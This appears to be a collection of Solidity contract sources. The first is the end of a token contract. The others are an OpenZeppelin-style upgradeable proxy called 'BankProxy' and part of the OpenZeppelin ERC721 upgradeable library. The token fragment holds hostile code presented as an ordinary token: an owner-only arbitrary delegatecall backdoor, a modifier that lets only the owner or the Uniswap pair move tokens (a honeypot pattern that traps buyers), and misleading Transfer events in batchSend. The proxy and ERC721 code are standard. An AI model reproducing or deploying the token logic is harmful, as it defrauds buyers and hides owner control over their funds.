emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity 0.5.14;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
function () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize)
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize)
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* Utility library of inline functions on addresses
*
* Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol
* This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts
* when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the
* build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version.
*/
library OpenZeppelinUpgradesAddress {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return Address of the current implementation
*/
function _implementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title UpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with a constructor for initializing
* implementation and init data.
*/
contract UpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title BaseAdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
/**
* @title InitializableUpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with an initializer for initializing
* implementation and init data.
*/
contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract initializer.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title InitializableAdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for
* initializing the implementation, admin, and init data.
*/
contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy {
/**
* Contract initializer.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, address _admin, bytes memory _data) public payable {
require(_implementation() == address(0));
InitializableUpgradeabilityProxy.initialize(_logic, _data);
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
}
contract BankProxy is InitializableAdminUpgradeabilityProxy {}
|
DC1
|
// File: @openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721Upgradeable is IERC165Upgradeable {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721ReceiverUpgradeable {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721MetadataUpgradeable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721MetadataUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// File: @openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// File: @openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal initializer {
__ERC165_init_unchained();
}
function __ERC165_init_unchained() internal initializer {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
uint256[50] private __gap;
}
// File: @openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable {
using AddressUpgradeable for address;
using StringsUpgradeable for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
function __ERC721_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721_init_unchained(name_, symbol_);
}
function __ERC721_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {
return
interfaceId == type(IERC721Upgradeable).interfaceId ||
interfaceId == type(IERC721MetadataUpgradeable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721Upgradeable.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
